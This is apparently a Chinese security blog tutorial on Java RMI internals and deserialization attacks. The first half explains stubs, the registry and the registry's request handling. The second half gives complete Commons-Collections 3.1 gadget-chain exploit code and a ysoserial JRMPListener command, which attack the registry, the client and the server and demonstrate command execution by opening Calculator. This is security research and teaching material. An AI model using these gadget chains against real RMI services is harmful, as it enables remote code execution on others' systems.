扫盲

RMI(Remote Method Invocation)即Java远程方法调用。RMI实现了Java程序之间跨JVM(java虚拟机)的远程通信。是一种允许在JVM上的object调用另一个JVM上的object的方法机制。这两个JVM可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

RMI代理

基础概念:

  • Stub和Skeleton

    • RMI的客户端和服务器并不直接通信,客户与远程对象之间采用的代理方式进行Socket通信。为远程对象分别生成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub即存根(包含服务器Skeleton信息),位于服务端的代理类称为Skeleton即骨干网。
  • RMI Registry

    • RMI注册表,默认监听在1099端口上,Client通过Name向RMI Registry查询,得到这个绑定关系和对应的Stub。
  • 远程对象

    • 远程对象是存在于服务端以供客户端调用方法的对象。任何可以被远程调用的对象都必须实现java.rmi.Remote接口,远程对象的实现类必须继承UnicastRemoteObject类。这个远程对象中可能有很多个函数,但是只有在远程接口中声明的函数才能被远程调用,其他的公共函数只能在本地的JVM中使用。
  • 序列化传输数据

    • 客户端远程调用时传递给服务器的参数,服务器执行后的传递给客户端的返回值。参数或者返回值,在传输的时会被序列化,在被接受时会被反序列化。因此这些传输的对象必须可以被序列化,相应的类必须实现java.io.Serializable接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

实现远程访问

实现Naming方式注册Rmi

定义一个远程接口

  • RMITestInterface.java
package com.company;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMITestInterface extends Remote {
    String str() throws RemoteException;
}

在java中,只要一个类继承了Remote接口,则成为存在于服务端的远程对象。若其他接口中的方法抛出了RemoteException,则表明该方法可以被远程客户端访问调用。

定义一个远程接口实现类

  • RMITestImpl
package com.company;

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
    private static final long serialVersionUID = 1L;

    protected RMITestImpl() throws RemoteException {
        super();
    }

    public String str() throws RemoteException {
        return "Hello WORLD!!!";
    }
}
  1. 远程接口实现必须继承UnicastRemoteObject,继承之后会使用默认socket进行通讯, UnicastRemoteObject构造函数中将生成stub和skeleton
  2. 必须有空的实现且抛出异常RemoteException

该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”,而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理,用于与服务器端的通信,而骨架也可认为是服务器端的一个代理,用于接收客户端的请求之后调用远程方法来响应客户端的请求。

服务端实现

  • RmiServer.java
package com.company;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RmiServer {
    public static void main(String[] args) {
        String rmi_host = "127.0.0.1";
        int rmi_port = 8888;
        String RMI_NAME = "rmi://" + rmi_host + ":" + rmi_port + "/test";
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(rmi_port);

            // 绑定Remote对象
            Naming.bind(RMI_NAME, new RMITestImpl());

            System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}
  1. 通过类LocateRegistry的方法createRegistry(port)来绑定端口
  2. 实例化接口new RMITestImpl();
  3. 将实例绑定到接服务中,通过Naming类的bind("RMI服务地址" , 所绑定的实例)方法实现;

客户端实现

  • RmiClient.java
package com.company;

import java.rmi.Naming;


public class RmiClient {

    public static void main(String[] args) {
        String rmi_host = "127.0.0.1";
        int rmi_port = 8888;
        String RMI_NAME = "rmi://" + rmi_host + ":" + rmi_port + "/test";
        try {
            // 查找远程RMI服务
            RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);

            // 调用远程接口RMITestInterface类的str方法
            String result = rt.str();

            // 输出RMI方法调用结果
            System.out.println(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 通过Naming类的lookup("RMI服务地址")方法来远程获取接口的实例
  2. 通过接口的实例就可以调用接口实现中的方法

先启动服务端
image
后启动客户端
image

直接使用Registry实现RMI

Rmiserver.java

package com.company;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(3333); // 本地主机上的远程对象注册表Registry的实例
        RMITestInterface user = new RMITestImpl(); // 创建一个远程对象
        registry.rebind("HelloRegistry", user); // 把远程对象注册到RMI注册服务器上,并命名为HelloRegistr
        System.out.println("rmi start at 3333");
    }
}

Rmiclient.java

package com.company;


import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry(3333); // 获取注册表
        RMITestInterface userClient = (RMITestInterface) registry.lookup("HelloRegistry"); // 获取命名为HelloRegistr的远程对象的stub
        System.out.println(userClient.name("test"));
        userClient.say("world");
    }
}

客户端运行
image
服务端运行
image

底层通信

先放出一张通信的流程图
image
若下面的分析有什么疑惑的地方,可以回头来看流程图。

服务端启动Registry服务

在Rmiserver.java中的LocateRegistry.createRegistry(rmi_port);下断点查看如何启动Registry服务。
image
步入createRegistry后,我们发现createRegistry方法实例化了一个RegistryImpl对象。

image
跟踪RegistryImpl对象,
该代码中进行了一个判断,如果端口是1099和系统开启了安全管理器,那么可以在限定的权限集内(listen和accept)绕过系统的安全校验。反之则必须进行安全校验

image
跟踪这里时,直接跳到了else中。
image
在LiveRef中封装了我们的ip,端口等信息。
image

else {
        LiveRef var2 = new LiveRef(id, var1);
        this.setup(new UnicastServerRef(var2));
    }

该setup()方法传入了UnicastServerRef对象,在new的过程中将LiveRef对象传入了进去。

image

进入UnicastServerRef的exportObject()方法。
image
我们先关注这里

var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);

image
这里首先为传入的RegistryImpl创建一个代理,这个代理实际上就是后面服务于客户端的RegistryImpl的Stub对象。

Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
        this.ref.exportObject(var6);
        this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
        return var5;

var6处实际上包含了全部的信息,将skeleton、stub、UnicastRef对象、id和一个boolean值构造了一个Target对象。调用UnicastServerRef的ref(LiveRef)变量的exportObject()方法。
image
跟入listen()方法
image
调用栈如下:
image
当其执行到 this.server = var1.newServerSocket();则会开启相应到端口。

image
image

listen()方法创建了一个ServerSocket,并且启动了一条线程等待客户端的请求,接着调用父类Transport的exportObject()将Target对象存放进ObjectTable中。

继续跟入
Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));中的TCPTransport.AcceptLoop.

image

我们找到了找到了真正处理请求的部分,以bind操作为例,这里对var3这个变量进行了判断,并根据不同的数字进行不同的处理,如果你调用了bind方法,就会先readObject反序列化你传过来的序列化对象,之后再调用var6.bind来注册服务,最终把服务绑定在this.bingdings上。

其中var3对应关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

另外从处理请求的这部分可以看出,

在上面那部分,我们已经将当注册中心监听的端口被请求时,是如何处理这些请求的了解清楚了。

客户端获取服务端Rgistry代理

RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);

跟踪lookup方法。
image
追溯到LocateRegistry.getRegistry()方法
image
方法如下

    public static Registry getRegistry(String host, int port,
                                       RMIClientSocketFactory csf)
        throws RemoteException
    {
        Registry registry = null;

        if (port <= 0)
            port = Registry.REGISTRY_PORT;RMIClientSocketFactory

        if (host == null || host.length() == 0) {
            try {
                host = java.net.InetAddress.getLocalHost().getHostAddress();
            } catch (Exception e) {
                host = "";
            }
        }

        LiveRef liveRef =
            new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                        new TCPEndpoint(host, port, csf, null),
                        false);
        RemoteRef ref =
            (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

        return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
    }

该方法,将host和port以及RMIClientSocketFactory传入,并创建了本地的代理。
调试发现,该代理为RegistryImpl_Stub对象。 这样客户端就可以和服务端代理一样了,及客户端拥有了服务端的代理,即可完成通信。

RMI 攻击方法

  • 测试jdk版本:JDK 7u80

攻击注册中心

上面提到,我们已经知道了和注册中心进行交互有哪些方法了。

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

另外我们知道了数据是基于序列化进行传输的,所以我们需要去注意那些序列化和反序列化的那些点。

bind

image

当使用bind时,会使用readObject去读取参数名以及远程对象,可以用来进行攻击注册中心。所以我们只需要传入一个恶意对象即可,利用Common-Collection3.1的poc作为例子。

客户端攻击注册中心

RmiServer.java

package com.company;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(3333); // 本地主机上的远程对象注册表Registry的实例
        RMITestInterface user = new RMITestImpl(); // 创建一个远程对象
        registry.bind("test", user); // 把远程对象注册到RMI注册服务器上,并命名为HelloRegistr
        System.out.println("rmi start at 3333");
    }
}

RmiClient.java

package com.company;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;

public class RmiClient {
    public static void main(String[] args) throws Exception {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",3333);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        registry.bind("test",r);

    }
}

image

list

image
当使用list,没有readObject 无法进行攻击注册中心。

lookup

image

在图片代码中我们可以看到,我们控制传递过去的序列化值,他的参数是一个string类型的,所以我们不能直接传递给lookup(),但是它发送请求的流程是可以直接复制的,只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。

模仿过后的payload为

        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyEvalObject);
        ref.invoke(var2);

所以构造出来的poc如下:

package com.company;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RmiServer {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry = LocateRegistry.createRegistry(3333);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);

        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyEvalObject);
        ref.invoke(var2);

        registry_remote.lookup("test");
        System.out.println("rmi start at 3333");
    }
}

image

rebind

image

rebind和上文中的bind攻击方式相同。参考上面的即可

unbind

image

unbind和lookup攻击方法一样,直接查看lookup即可。

注册中心攻击客户端

因为客户端,服务段,注册中心之间的数据交换都是通过序列化字符串进行通信的,所以该处也存在反序列化漏洞。

首先,我们需要使用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用.

执行命令java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections1 'open /System/Applications/Calculator.app'

image

客户端代码

package com.company;



import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",3333);
        registry.list();
    }
}

直接执行客户端代码,可以发现命令执行。

image

这里演示,是使用的是list(),但其余操作bind,list(),rebind(),unbind(),lookup()都可以进行执行。

服务端攻击客户端

如果一个注册服务的对象,接受参数作为对象传输时,那么我们就可以伪造一个恶意对象进行相关利用。

这里我们在Rmitestimpl中,构造一个恶意的方法。为test.
image

Rmiserver.java

package com.company;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RmiServer {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/test";
        RMITestInterface user = new RMITestImpl(); // 生成stub和skeleton,并返回stub代理引用
        LocateRegistry.createRegistry(3333); // 本地创建并启动RMI Service,被创建的Registry服务将在指定的端口上监听并接受请求
        Naming.bind(url, user); // 将stub代理绑定到Registry服务的URL上
        System.out.println("the rmi is running : " + url);
    }
}

RmiClient.java

package com.company;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class RmiClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/test";
        RMITestInterface userClient = (RMITestInterface)Naming.lookup(url);
        System.out.println(userClient.name("test"));
        userClient.test(getpayload());
    }

    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

在RmiClient.java中,我们将恶意对象getpayload传递给了注册服务的对象。
image

从而进行了相关的命令执行。
image

客户端攻击服务端

该方法和服务端攻击客户端差不多,在客户端进行方法调用时,触发了恶意对象,从而进行反序列化的调用。

Rmiserver.java

package com.company;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RmiServer {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/test";
        RMITestInterface user = new RMITestImpl(); // 生成stub和skeleton,并返回stub代理引用
        LocateRegistry.createRegistry(3333); // 本地创建并启动RMI Service,被创建的Registry服务将在指定的端口上监听并接受请求
        Naming.bind(url, user); // 将stub代理绑定到Registry服务的URL上
        System.out.println("the rmi is running : " + url);
    }
}

RmiClient.java

package com.company;



import java.rmi.Naming;


public class RmiClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:3333/test";
        RMITestInterface userClient = (RMITestInterface) Naming.lookup(url); // 从RMI Registry中请求stub
        System.out.println(userClient.name("test")); // 通过stub调用远程接口实现
        userClient.getwork();
    }
}

RMITestImpl.java

package com.company;

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;

import java.util.HashMap;
import java.util.Map;

public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
    private static final long serialVersionUID = 1L;

    protected RMITestImpl() throws RemoteException {

        super();
    }

    public String str() throws RemoteException {
        return "Hello WORLD!!!";
    }

    public String name(String name) throws RemoteException{
        return name;
    }
    public void test(Object work) throws  RemoteException{
        System.out.println("test" + work);
    }
    public Object getwork() throws RemoteException {
        Object evalObject = null;
        try {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[] {String.class, Class[].class},
                            new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[] {Object.class, Object[].class},
                            new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] {String.class},
                            new Object[] {"open -a Calculator"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "Threezh1");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
            cons.setAccessible(true);
            evalObject = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        }catch (Exception e){
            e.printStackTrace();
        }
        return evalObject;
    }
}

先启动客户端,再启动服务端,在启动服务端的同时,调用了getwork()方法,从而进行了恶意对象的调用,触发payload,执行命令。
image

最后修改:2021 年 02 月 08 日 05 : 22 PM
如果觉得我的文章对你有用,请随意赞赏